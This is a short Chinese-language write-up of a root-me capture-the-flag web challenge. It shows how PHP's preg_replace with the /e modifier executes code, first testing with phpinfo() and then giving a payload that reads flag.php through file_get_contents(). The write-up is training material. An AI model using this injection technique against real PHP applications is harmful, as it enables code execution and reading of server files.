1. 程式人生 > >【root-me CTF練習】Web伺服器安全-PHP preg_replace

【root-me CTF練習】Web伺服器安全-PHP preg_replace

靶機地址

http://challenge01.root-me.org/web-serveur/ch37/index.php

解題思路

此題考的是利用PHP 的preg_replace函式導致的程式碼執行。

/e 修正符使 preg_replace() 將 replacement 引數當作 PHP 程式碼。PHP 5.5.0 起, 傳入 “\e” 修飾符的時候,會產生一個 E_DEPRECATED 錯誤; PHP 7.0.0 起,會產生 E_WARNING 錯誤,同時 “\e” 也無法起效。

測試

<?php
echo preg_replace
('/test/e', 'phpinfo()', 'just test'); ?>

這裡是php5.4版本,成功執行。
在這裡插入圖片描述

那麼接下來就好做了,利用file_get_contents()函式讀取flag.php檔案即可

<?php
echo preg_replace('/test/e',"file_get_contents('flag.php')",'just test');
?>

在這裡插入圖片描述